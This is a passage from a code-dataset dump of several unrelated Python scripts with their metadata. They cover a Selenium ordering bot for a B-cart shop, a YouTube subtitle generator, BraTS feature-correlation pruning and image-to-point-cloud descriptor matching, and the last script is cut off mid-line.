{}\nSyoHinCode['46990002'] = \"https://*****.bcart.jp/product.php?id=3\" # ポテトチップス(スタンダード)\nSyoHinCode['46990102'] = \"https://*****.bcart.jp/product.php?id=6\" # ポテトチップス(コンソメ)\n\n# 得意先データベースから個別の得意先データを取り出す。\ndef TokuiSakiData(TokuiSakiBanGo):\n\n TokuiSakiBanGo = str(TokuiSakiBanGo).zfill(8) # 8桁ゼロ埋め\n\n ConfigDic = {}\n ConfigDic['instance'] = \"***.***.***.***\\SMILEBS\" # インスタンス\n ConfigDic['user'] = \"***\" # ユーザー\n ConfigDic['pasword'] = \"***\" # パスワード\n ConfigDic['db'] = \"****_DB\" # DB #######がテストDB\n\n connection = \"DRIVER={SQL Server};SERVER=\" + ConfigDic['instance'] + \";uid=\" + ConfigDic['user'] + \\\n \";pwd=\" + ConfigDic['pasword'] + \";DATABASE=\" + ConfigDic['db']\n con = pyodbc.connect(connection)\n\n TABLE = \"****_T_TOKUISAKI_MST\" # 得意先マスターテーブル\n cur = con.cursor()\n sql = \"select * FROM \" + TABLE + \" WHERE TOK_CD = \" + str(TokuiSakiBanGo)\n cur.execute(sql)\n record = cur.fetchone()\n cur.close()\n con.close()\n\n TokuiSakiDataDic = {}\n TokuiSakiDataDic['得意先番号'] = int(record[0])\n TokuiSakiDataDic['得意先名'] = record[1].strip()\n TokuiSakiDataDic['郵便番号'] = record[3].strip()\n TokuiSakiDataDic['住所'] = record[4].strip() + record[5].strip()\n TokuiSakiDataDic['電話番号'] = record[6].strip()\n TokuiSakiDataDic['ルート'] = int(record[15]) # 注文済みデータ収集用\n TokuiSakiDataDic['請求書拠点'] = int(record[80]) # 注文済みデータ収集用\n\n return TokuiSakiDataDic\n\n# ChromeDriverのパスを引数に指定しChromeを起動\ndriver = webdriver.Chrome(chromedriverPath)\n\n# BeatifulSoupパーサー\ndef BsParse(source):\n return BeautifulSoup(source, 'html.parser')\n\n# 登録修正ファイルのデータをCSV化\ndef FileMake(ExcelFile, CsvFile):\n KobetsuNum = 0\n df = pd.read_excel(ExcelFile, skiprows=1, header=1)\n df_check = df[ df['個別発注番号'] > KobetsuNum ]\n df_check.to_csv(CsvFile, header=0, index=0)\n\n# 発注用にデータを作成したCSVをリスト化\ndef HattyuDataCsv(CsvFileName):\n HattyuList = []\n with open(CsvFileName,\"r\",encoding=\"utf-8\")as f:\n file = csv.reader(f)\n for x in file:\n HattyuList.append(x)\n\n # 昇順ソートで確認リストの順に処理ができる。\n HattyuList.sort(key=lambda x: x[3], reverse=False)\n return HattyuList\n\n#ログイン\ndef Login(login_page_url,login_id,login_pass):\n\n #ログインページへ\n driver.get(login_page_url)\n\n Xpath_loginidbox = \"/html/body/div[1]/div/div/form/section[1]/table/tbody/tr[1]/td/input\"\n driver.find_element_by_xpath(Xpath_loginidbox).send_keys(login_id)\n\n Xpath_loginpassbox = \"/html/body/div[1]/div/div/form/section[1]/table/tbody/tr[2]/td/input\"\n driver.find_element_by_xpath(Xpath_loginpassbox).send_keys(login_pass)\n\n Xpath_loginbutton = \"/html/body/div[1]/div/div/form/section[2]/input\"\n driver.find_element_by_xpath(Xpath_loginbutton).click()\n\n# メイン\ndef SyoHinPageData(HattyuList):\n\n for h in HattyuList:\n\n driver.get(SyoHinCode[h[8]]) # 商品ページ遷移\n source = driver.page_source\n soup = BsParse(source)\n\n TokuiNum = h[0] # 得意先番号\n #TokuiName = jaconv.h2z(HattyuList[1],digit=False, ascii=False)\n TokuiRyaku = h[1]\n KobetsuBanGo = str(int(float(h[4])))\n TyakaBi = h[7]\n TyuMonKoSu = str(int(h[10])) # 注文個数\n print(\"*** 発注情報 *****************************************************\")\n print(\"得意先番号: \",str(TokuiNum))\n print(\"得意先略称: \",str(TokuiRyaku))\n print(\"★ 着荷日　: \",str(TyakaBi))\n print(\"★ 個別番号: \",str(KobetsuBanGo))\n print(\"★ 注文個数: \",str(TyuMonKoSu),\"\\n\")\n\n # 着荷日順番把握\n title_text = soup.find_all('h2') # 全着荷日箇所 [\"[**]]YYYYmmdd着荷商品\",\"[**]YYYYmmdd着荷商品\"~\n TyakaBi_result = TyakaBi.split(\"-\")\n TyakaBiText = TyakaBi_result[0] + TyakaBi_result[1] + TyakaBi_result[2].zfill(2)\n\n for x in title_text:\n result = x.text.replace(\"[**]\",\"\")\n result = result.replace(\"着荷商品\",\"\")\n\n if result == TyakaBiText:\n #print(result,TyakaBiText)\n Xpath_index = int(title_text.index(x)) + 1\n\n # 注文個数入力\n Xpath_KonyuSu = \"/html/body/div[1]/div/div/form/section[1]/table/tbody/tr[\" + str(Xpath_index) + \"]/td[3]/div[2]/div[2]/input\"\n driver.find_element_by_xpath(Xpath_KonyuSu).send_keys(TyuMonKoSu)\n\n # カートに入れるボタンを押す\n Xpath_CurtButton = \"/html/body/div[1]/div/div/form/section[2]/button\"\n driver.find_element_by_xpath(Xpath_CurtButton).click()\n\n time.sleep(2) #カートに入れるポップアップ後インターバルがないとカートに商品が入らないことがある\n\n # カートを見る\n driver.get(\"https://*****.bcart.jp/cart.php\")\n\n # 注文へ進む\n Xpath_TyuMonButton = '//*[@id=\"cartForm1\"]/div[4]/ul/li[4]/button/span'\n driver.find_element_by_xpath(Xpath_TyuMonButton).click()\n\n # 別住所へ配送する。\n Xpath_BetsuHaisouButton = '/html/body/div[1]/div/div/form/section[3]/div/table[1]/tbody/tr/td/label[2]'\n driver.find_element_by_xpath(Xpath_BetsuHaisouButton).click()\n\n # 配送先 会社名 に得意先番号入れる\n Xpath_KaisyaName = \"/html/body/div[1]/div/div/form/section[3]/div/table[2]/tbody[2]/tr[1]/td/input\"\n driver.find_element_by_xpath(Xpath_KaisyaName).send_keys(TokuiNum) # 得意先番号\n\n # 発注番号\n Xpath_HaisouSakiSelect = '/html/body/div[1]/div/div/form/section[6]/div/table/tbody/tr/td/input'\n items = driver.find_element_by_xpath(Xpath_HaisouSakiSelect).send_keys(KobetsuBanGo)\n \n # コンソールに中も詳細を載せる。\n TokuiSakiDataDic = TokuiSakiData(TokuiNum) # DB接続\n PostCodeA = str(TokuiSakiDataDic['郵便番号'][:3])\n PostCodeB = str(TokuiSakiDataDic['郵便番号'][4:])\n TokuiName = jaconv.h2z(TokuiSakiDataDic['得意先名']) # h2z 半角to全角\n PhoneNo = TokuiSakiDataDic['電話番号']\n\n print(\"(\" + str(int(TokuiNum)) + \")\",TokuiName)\n print(\"郵便 :\", TokuiSakiDataDic['郵便番号'])\n print(\"住所 :\", TokuiSakiDataDic['住所'])\n address = TokuiSakiDataDic['住所']\n print(\"★ TEL:\" + PhoneNo)\n print(\"★ 個別番号: \",str(KobetsuBanGo),\"\\n\")\n\n # 郵便番号 まえ3桁入力\n Xpath_YubinA = \"/html/body/div[1]/div/div/form/section[3]/div/table[2]/tbody[2]/tr[4]/td/input[1]\"\n driver.find_element_by_xpath(Xpath_YubinA).send_keys(PostCodeA)\n\n # 郵便番号 うしろ4桁入力\n Xpath_YubinB = \"/html/body/div[1]/div/div/form/section[3]/div/table[2]/tbody[2]/tr[4]/td/input[2]\"\n driver.find_element_by_xpath(Xpath_YubinB).send_keys(PostCodeB)\n\n time.sleep(2) # 郵便番号入力後の自動表示間のインターバル時間\n\n # 番地枠のデータ取得する。 東京都杉並区 \"神田\"←　～\n Xpath_BanChi = \"/html/body/div[1]/div/div/form/section[3]/div/table[2]/tbody[2]/tr[7]/td/input\"\n BanChi = driver.find_element_by_xpath(Xpath_BanChi).get_attribute(\"value\")\n\n # 番地枠の住所で得意先住所を分割する。\n address_result = address.split(BanChi)\n\n # 後半住所入力\n Xpath_AddressC = \"/html/body/div[1]/div/div/form/section[3]/div/table[2]/tbody[2]/tr[8]/td/input\"\n driver.find_element_by_xpath(Xpath_AddressC).send_keys(jaconv.h2z(address_result[-1]))\n\n # 電話番号 ハイフンが足りなかったり無かったりするとウェブ上でエラーになる\n Xpath_PhoneNo = '/html/body/div[1]/div/div/form/section[3]/div/table[2]/tbody[2]/tr[9]/td/input'\n driver.find_element_by_xpath(Xpath_PhoneNo).send_keys(PhoneNo)\n\n #配送先 担当者の枠に得意先様名を入れる。\n Xpath_TantoSyaName = \"/html/body/div[1]/div/div/form/section[3]/div/table[2]/tbody[2]/tr[3]/td/input\"\n driver.find_element_by_xpath(Xpath_TantoSyaName).send_keys(TokuiName) # 得意先様名\n \n CheckAddress = input(\"配送先住所を確認してください\\n\\n\\n\") # 得意先住所が郵便番号で出る住所に従っていないため確認後エンター\n print(\"----------------------------------------------------------------------------\")\n\n # 早く遷移しすぎるとエラーになる。\n Xpath_KakuninButton = '//*[@id=\"__js-submit\"]'\n driver.find_element_by_xpath(Xpath_KakuninButton).click() # 注文\"確認\"画面へ\n\n time.sleep(2) # コケたので2秒インターバル\n\n Xpath_TyumonKakutei = '//*[@id=\"orderForm\"]/section[6]/button/span'\n driver.find_element_by_xpath(Xpath_TyumonKakutei).click() # 注文\"確定\"画面へ\n\n time.sleep(2) # コケたので2秒インターバル\n\n\nif __name__ == \"__main__\":\n\n FileMake(ExcelFile, CsvFileName) # \"tmp_SmileBS_修正登録ファイル.xls\"から\"tmp_Web_登録用データ.csv\"作成\n HattyuList = HattyuDataCsv(CsvFileName) # 発注用に作成したデータをリスト化\n Login(login_page_url,login_id,login_pass) # ログイン\n SyoHinPageData(HattyuList) # 注文個数入力から発注確定画面まで\n", "sub_path": "WebHattyuSystem.py", "file_name": "WebHattyuSystem.py", "file_ext": "py", "file_size_in_byte": 10978, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pyodbc.connect", "line_number": 54, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 76, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 76, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 80, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 85, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 93, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 159, "usage_type": "call"}, {"api_name": "jaconv.h2z", "line_number": 184, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 202, "usage_type": "call"}, {"api_name": "jaconv.h2z", "line_number": 213, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 230, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 235, "usage_type": "call"}]} +{"seq_id": "184503828", "text": "# @author Huaze Shen\n# @date 2020-03-13\n\nfrom typing import List\n\n\ndef min_array(numbers: List[int]) -> int:\n min_val = numbers[0]\n for num in numbers:\n if num < min_val:\n min_val = num\n return min_val\n\n\nif __name__ == '__main__':\n numbers_ = [2, 2, 2, 0, 1]\n print(min_array(numbers_))\n", "sub_path": "python/find_minimum_in_rotated_sorted_array_ii.py", "file_name": "find_minimum_in_rotated_sorted_array_ii.py", "file_ext": "py", "file_size_in_byte": 320, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}]} +{"seq_id": "161474314", "text": "from pydub import AudioSegment\nfrom pydub.utils import make_chunks\nimport speech_recognition as sr\nfrom pytube import YouTube\nimport subprocess\nfrom googletrans import Translator\nimport os,os.path\nimport time\nimport datetime\n\nchunk_length_ms = 3000 \ntime2 = int(chunk_length_ms / 1000)\ntime3 = 2\n\ndef strt3(t3):\n\tb=[]\n\tl = len(t3)\n\ta=25\n\tfor n in range(l):\n\t\tif n % a == 0:\n\t\t\tb.append(t3[n:n+a])\n\n\treturn '\\n'.join(b)\n\ndef timestr(t):\n\tt1=t*time2\n\tt2=(t+1)*time2\n\tstr1=str(datetime.timedelta(seconds=t1))\n\tstr2=str(datetime.timedelta(seconds=t2))\n\tstr3='0'+str1+'.000 --> 0'+str2+'.000'\n\treturn str3\n\n#web为youtube地址\nweb='https://www.youtube.com/watch?v=mIxgx4eRVp8'\n\ntranslator = Translator()\nYouTube(web).streams.get_by_itag(22).download(filename='videoplayback')\n\ncommand = \"ffmpeg -i videoplayback.mp4 -ab 160k -ac 2 -ar 44100 -vn y2mate.wav\"\nsubprocess.call(command, shell=True)\n\nmyaudio = AudioSegment.from_file(\"y2mate.wav\" , \"wav\") \nchunks = make_chunks(myaudio, chunk_length_ms)\n\nfor i, chunk in enumerate(chunks):\n chunk_name = \"chunk{0}.wav\".format(i)\n print(\"exporting\", chunk_name)\n chunk.export(chunk_name, format=\"wav\")\n\nr=sr.Recognizer()\nt=[]\nt3=[]\nsum=i+1\na=int(sum/12)\nb=sum%12\nc=a*12\nt.append('hello')\nfor i in range(0,sum):\n\tharvard=sr.AudioFile('chunk'+str(i)+'.wav')\n\twith harvard as source:\n\t\taudio=r.record(source)\n\t\ttry:\n\t\t\ts=r.recognize_google(audio)\n\t\t\tt.append(s)\n\t\texcept Exception:\n\t\t\tt.append('')\n\t\tprint(i)\n\t\ttime.sleep(time3)\n\nfor i, val in enumerate(t):\n\ttry:\n\t\tt3.append(translator.translate(val, dest='zh-cn').text)\n\texcept Exception:\n\t\tt3.append('')\n\tprint(i)\n\ttime.sleep(time3)\n\ntxt=''\n\nfor i, val in enumerate(t):\n\tif i!=0:\n\t\tj=i-1\n\t\ttxt=txt+str(i)+'\\n'+timestr(j)+'\\n'+strt3(t3[i])+'\\n'+val+'\\n\\n'\n\t\tprint(i)\n\nf=open('videoplayback.srt','w',encoding='utf-8')\nf.write('\\ufeff')\nf.write(txt)\nf.close()\n\nfor i in range(0,sum):\n\tfilename='chunk'+str(i)+'.wav'\n\tif(os.path.exists(filename)):\n\t\tos.remove(filename) ", "sub_path": "speechrecognition.py", "file_name": "speechrecognition.py", "file_ext": "py", "file_size_in_byte": 1964, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "datetime.timedelta", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 29, "usage_type": "call"}, {"api_name": "googletrans.Translator", "line_number": 36, "usage_type": "call"}, {"api_name": "pytube.YouTube", "line_number": 37, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 40, "usage_type": "call"}, {"api_name": "pydub.AudioSegment.from_file", "line_number": 42, "usage_type": "call"}, {"api_name": "pydub.AudioSegment", "line_number": 42, "usage_type": "name"}, {"api_name": "pydub.utils.make_chunks", "line_number": 43, "usage_type": "call"}, {"api_name": "speech_recognition.Recognizer", "line_number": 50, "usage_type": "call"}, {"api_name": "speech_recognition.AudioFile", "line_number": 59, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 68, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 94, "usage_type": "call"}]} +{"seq_id": "72797720", "text": "#!/usr/bin/env python3\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\ndef encode_eor(inp: str):\n if type(inp) != str:\n if not np.isfinite(inp):\n return np.NaN\n elif inp == \"GTR\":\n return 1\n else:\n return 0\n\n\ninpfeat = pd.read_csv(\"/media/yannick/c4a7e8d3-9ac5-463f-b6e6-92e216ae6ac0/BRATS/BraTS2020/trainingfeatures_Cg055_stdnorm.csv\",\n index_col=\"ID\")\n# load c-index information\ncindices = pd.read_csv(\"/media/yannick/c4a7e8d3-9ac5-463f-b6e6-92e216ae6ac0/BRATS/BraTS2020/concordanceidx_training_nobinduplicates_stdnorm.csv\", index_col=\"Feature\")\n# handle alive patient with setting OS to 500 days\ninpfeat.loc[inpfeat[\"Survival_days\"] == 'ALIVE (361 days later)', \"Survival_days\"] = 500\ninpfeat[\"Survival_days\"] = inpfeat[\"Survival_days\"].astype(np.float)\n\n# encode EOR\n# inpfeat[\"Extent_of_Resection\"] = [encode_eor(elem) for elem in inpfeat[\"Extent_of_Resection\"]]\nfeatprocess_nosurv = inpfeat.drop(columns=[\"Survival_days\"])\nfeatprocess_nosurv = inpfeat.drop(columns=[\"Survival_class\"])\n\n# check mutual correlation of features\nprint(\"- calculating correlation matrix\")\ncorr_matrix = featprocess_nosurv.corr().abs()\nprint(\"- finished calculating correlation matrix\")\n# # corr_matrix.to_csv(\"/media/yannick/c4a7e8d3-9ac5-463f-b6e6-92e216ae6ac0/BRATS/BraTS2020/corrmatrix_trainingfeat.csv\")\n\n# corr_matrix = pd.read_csv(\"/media/yannick/c4a7e8d3-9ac5-463f-b6e6-92e216ae6ac0/BRATS/BraTS2020/corrmatrix_trainingfeat.csv\")\n# corr_matrix.set_index(\"Unnamed: 0\", inplace=True)\nprint(\"Data loaded.\")\n\n# save correlation matrix\ncorr_matrix.to_csv(\"/media/yannick/c4a7e8d3-9ac5-463f-b6e6-92e216ae6ac0/BRATS/BraTS2020/corrmatrix_c055_stdnorm.csv\")\ncorr_np = corr_matrix.to_numpy()\nmask = np.triu(np.ones_like(corr_np, dtype=np.bool))\ncorr_masked = corr_matrix.mask(mask)\n\nmaxcorr = np.nanmax(corr_masked.values.flatten())\ncurr_corrmat = corr_masked\n\ncurrfeat = featprocess_nosurv\niterateidx = 0\nwhile maxcorr > 0.95:\n print(iterateidx)\n testidx = corr_masked[corr_masked == maxcorr].stack().index.tolist()\n\n featdroplist = []\n # for each highly correlated feature pair, only keep the one with the higher c-index\n for featcomb in testidx:\n # look up c-indices of both features, keep the one with the larger\n curr_cindlist = [cindices.loc[elem, \"ConcordanceIndex\"] for elem in featcomb]\n # add the lower one to the drop list\n featdroplist.append(featcomb[np.argmin(curr_cindlist)])\n\n featdroplist_unique = np.unique(featdroplist)\n currfeat.drop(columns=featdroplist_unique, inplace=True)\n\n curr_corrmat = currfeat.corr().abs()\n corr_np = curr_corrmat.to_numpy()\n mask = np.triu(np.ones_like(corr_np, dtype=np.bool))\n corr_masked = curr_corrmat.mask(mask)\n\n maxcorr = np.nanmax(corr_masked.values.flatten())\n print(maxcorr)\n print(currfeat.shape)\n iterateidx += 1\n print('----------')\n\nprint(currfeat.shape)\n# put survival column back into the feature matrix\nsurvinfo = inpfeat[\"Survival_days\"]\niterativecorr = currfeat.merge(survinfo, on=\"ID\")\niterativecorr.to_csv(\"/media/yannick/c4a7e8d3-9ac5-463f-b6e6-92e216ae6ac0/BRATS/BraTS2020/trainingfeatures_iterativeremoved_stdnorm.csv\")\n\n# plot correlation matrix\nf = plt.figure(figsize=(200, 200))\nplt.matshow(corr_masked)\n# only show group ticks\nfeattypes = [elem.split('_')[0:2] for elem in currfeat.columns]\nlabels = np.array([[0,15],[16,36],[37,82],[83,111],[112,149]])\n\n# plt.xticks(range(corr_matrix.shape[1]), corr_matrix.columns, fontsize=5, rotation=45)\n# plt.xticks(range(corr_masked.shape[1]), corr_masked.columns, fontsize=2, rotation=90)\n# plt.yticks(range(corr_masked.shape[1]), corr_masked.columns, fontsize=2)\ncb = plt.colorbar()\ncb.ax.tick_params(labelsize=8)\n# plt.title('Correlation Matrix', fontsize=16)\nplt.tight_layout()\nplt.savefig(\"/media/yannick/c4a7e8d3-9ac5-463f-b6e6-92e216ae6ac0/BRATS/BraTS2020/reducedcorr_iterative_stdnorm.png\", dpi=400)\nplt.show()\n", "sub_path": "classicalml/standardnorm/checkcorrelation_iterative_stdnorm.py", "file_name": "checkcorrelation_iterative_stdnorm.py", "file_ext": "py", "file_size_in_byte": 4002, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.isfinite", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.NaN", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.triu", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.bool", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.nanmax", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.triu", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.bool", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.nanmax", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.matshow", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}]} +{"seq_id": "602725192", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 14 00:40:27 2018\n\n@author: mengdan\n\"\"\"\n\n#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 5 21:35:04 2018\n\n@author: mengdan\n\"\"\"\n\n#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 1 21:17:55 2018\n\n@author: mengdan\n\"\"\"\n\n#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 1 10:43:52 2018\n\n@author: mengdan\n\"\"\"\n\n#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 18 20:25:02 2018\n\n@author: mengdan\n\"\"\"\n\nimport tensorflow as tf\nimport numpy as np\n\nfrom vgg16 import vgg16\nfrom pointNet import pointNet\nfrom read_dataset import Data, splitTrainTest, shuffleTrainset\n\nimport os\nimport cv2\n\nbatch_size = 16\nimage_size = 128\npcl_size = 1024\nimage_feature_dim = 256\npcl_feature_dim = 256\n\nthresh_dist = 0.5\n\ndate_time = '2015-02-13-09-16-26'\nsift_iss_correspond_dir = '/media/mengdan/data3/robotcar/grasshopper/2d_3d_correspondences_256/' + date_time\n\n\n\ndef readTestData(sift_test_root, iss_test_root):\n # get test list which store sift_patches\n # patch_file = list[submap_id][image_id]][patch_id]\n sift_test_list = []\n for submap_folder in sorted(os.listdir(sift_test_root)):\n submap_img_folder_list = []\n submap_folder_path = sift_test_root+submap_folder\n for image_folder in sorted(os.listdir(submap_folder_path)):\n img_folder_file_list = []\n img_folder_path = submap_folder_path + '/' +image_folder\n for img_file in sorted(os.listdir(img_folder_path)):\n if img_file.endswith('.png'):\n img_folder_file_list.append(img_folder_path + '/'+ img_file)\n submap_img_folder_list.append(img_folder_file_list)\n sift_test_list.append(submap_img_folder_list)\n \n # get test list which store iss_volumes\n # iss_file = list[submap_id][iss_id]\n iss_test_list = []\n for submap_folder in sorted(os.listdir(iss_test_root)):\n submap_iss_file_list = []\n submap_folder_path = iss_test_root + submap_folder\n for iss_file in sorted(os.listdir(submap_folder_path)):\n if iss_file.endswith('.pcd'):\n submap_iss_file_list.append(submap_folder_path+'/'+iss_file)\n iss_test_list.append(submap_iss_file_list)\n \n return sift_test_list, iss_test_list\n\n\ndef getSIFTTestBatch(sift_test_list, batch_id):\n img_batch = np.zeros([batch_size, image_size, image_size,3], np.float32) \n start_id = batch_id * batch_size\n end_id = (batch_id + 1) * batch_size \n \n if (end_id > len(sift_test_list)):\n print(\"------ Error reading sift test batch!\")\n return None\n \n # read batch\n data = Data(batch_size, image_size, pcl_size, None, None)\n list_batch = sift_test_list[start_id:end_id]\n for i in range(len(list_batch)):\n img = cv2.imread(list_batch[i])\n img = data.img_augmentation(img)\n img_batch[i,:,:,:] = img\n \n return img_batch\n\ndef getISSTestBatch(iss_test_list, batch_id):\n pos_pcl_batch = np.zeros([batch_size, pcl_size, 3], np.float32)\n start_id = batch_id * batch_size\n end_id = (batch_id + 1) * batch_size \n \n if (end_id > len(iss_test_list)):\n print(\"------ Error reading sift test batch!\")\n return None\n \n # read batch\n data = Data(batch_size, image_size, pcl_size, None, None)\n list_batch = iss_test_list[start_id:end_id]\n for i in range(len(list_batch)):\n pos_pcl = data.read_pcd(list_batch[i])\n # > 1024 points\n if pos_pcl.shape[0] > pcl_size:\n random_id = np.random.permutation(pos_pcl.shape[0])\n pos_pcl_batch[i, :, :] = pos_pcl[random_id[0:pcl_size]]\n else:\n pos_pcl_batch[i, 0:pos_pcl.shape[0], :] = pos_pcl \n \n return pos_pcl_batch\n \n\ndef test(load_version, sift_test_list, iss_test_list, submap_id):\n print ('----------------- START to test -----------------')\n \n #sift_test_list = sift_test_list[submap_id-1][submap_image_id-1]\n iss_test_list = iss_test_list[submap_id-1]\n iss_test_file = \"iss_test_list_txt/%03d.txt\" % submap_id \n with open(iss_test_file, 'w') as file:\n for i in range(len(iss_test_list)):\n file.write('%s\\n' % iss_test_list[i])\n \n # define placeholder\n image_pl = tf.placeholder(tf.float32, shape=[batch_size, image_size, image_size, 3])\n pos_pcl_pl = tf.placeholder(tf.float32, shape=[batch_size, pcl_size, 3])\n neg_pcl_pl = tf.placeholder(tf.float32, shape=[batch_size, pcl_size, 3])\n \n is_training = tf.placeholder(tf.bool)\n \n # build model\n print ('build model')\n with tf.device('/gpu:0'): # use gpu 1 to forward\n with tf.variable_scope('image_branch') as scope:\n image_feature = vgg16(image_pl, is_training=True, output_dim=image_feature_dim,\n bn_decay=None)\n \n with tf.variable_scope('pointcloud_branch') as scope:\n pos_pcl_feature,_ = pointNet(pos_pcl_pl, pcl_feature_dim, is_training=is_training, \n use_bn=False, bn_decay=None)\n scope.reuse_variables()\n neg_pcl_feature,_ = pointNet(neg_pcl_pl, pcl_feature_dim, is_training=is_training, \n use_bn=False, bn_decay=None)\n\n saver = tf.train.Saver(tf.all_variables(), max_to_keep=None) # tf.global_variables\n\n # run model\n print('run model...')\n config = tf.ConfigProto(log_device_placement=False, allow_soft_placement=True)\n config.gpu_options.allow_growth = True\n config.gpu_options.per_process_gpu_memory_fraction = 0.9\n with tf.Session(config=config) as sess:\n \n print('initialise model...')\n sess.run(tf.global_variables_initializer())\n print(' load model...')\n save_path = 'model/' + 'v2' + '/' + load_version +'_model.ckpt'\n saver.restore(sess, save_path)\n #restore_tf_model(sess)\n print(\" Model loaded from: %s\" % save_path)\n \n # -------------------- evaluate model ---------------------\n print('**** Validate ...')\n print(' Compute image and pcl descriptors')\n \n\n iss_batch_num = len(iss_test_list) // batch_size \n iss_test_num = iss_batch_num * batch_size \n \n pcl_feature = np.zeros([iss_test_num, pcl_feature_dim]) \n \n # feed iss test list into the network\n batch_counter = 0\n print('-------- test iss --------------')\n for i in range(iss_batch_num):\n print(\" *** iss progress: %d/%d\" % (i, iss_batch_num))\n pcl_batch = getISSTestBatch(iss_test_list,i)\n feed_dict = {pos_pcl_pl:pcl_batch, is_training: False}\n pcl_batch_feature = sess.run(pos_pcl_feature, feed_dict=feed_dict)\n pcl_feature[batch_counter: batch_counter+pcl_batch_feature.shape[0],:] = pcl_batch_feature\n batch_counter += pcl_batch_feature.shape[0] \n \n print('---------- test sift ----------')\n sift_submap_test_list = sift_test_list[submap_id-1] # all images\n for k in range(len(sift_submap_test_list)):\n sift_test_list = sift_submap_test_list[k] # image id: i+1 \n cam_id = sift_test_list[0].split('/')[-2] # expected 'cam1_xxx'\n # record test_list for checking\n sift_test_file = \"sift_test_list_txt/%03d_%s.txt\" % (submap_id, cam_id)\n with open(sift_test_file, 'w') as file:\n for i in range(len(sift_test_list)):\n file.write('%s\\n' % sift_test_list[i])\n \n # test the patches from one image in the submap\n sift_batch_num = len(sift_test_list) // batch_size\n sift_test_num = sift_batch_num * batch_size\n img_feature = np.zeros([sift_test_num, image_feature_dim])\n \n # feed sift test list into the network\n batch_counter = 0\n print(\" *** image id: %d/%d\" % (k,len(sift_submap_test_list)))\n for i in range(sift_batch_num):\n #print(\" *** image id: %d/%d, batch id: %d/%d\" % (k, len(sift_submap_test_list), i, sift_batch_num))\n img_batch = getSIFTTestBatch(sift_test_list, i)\n #print img_batch.shape\n feed_dict = {image_pl:img_batch, is_training: False}\n img_batch_feature = sess.run(image_feature, feed_dict=feed_dict)\n #print type(img_batch_feature)\n img_feature[batch_counter: batch_counter+img_batch_feature.shape[0],:] = img_batch_feature\n batch_counter += img_batch_feature.shape[0] \n \n # compute distance array between img_feature and pcl_feature\n img_vec = np.sum(np.multiply(img_feature, img_feature), axis=1, keepdims=True)\n pcl_vec = np.sum(np.multiply(pcl_feature, pcl_feature), axis=1, keepdims=True)\n dist_array = img_vec + np.transpose(pcl_vec) - 2*np.matmul(img_feature, np.transpose(pcl_feature))\n print(\" image patch num: %d, submap pcl num: %d\" % (dist_array.shape[0], dist_array.shape[1]))\n \n # find correspondences and record\n # img_pcl_correspondences = [];\n cam_id = sift_test_list[0].split('/')[-2]\n txt_folder = \"%s/%03d\" % 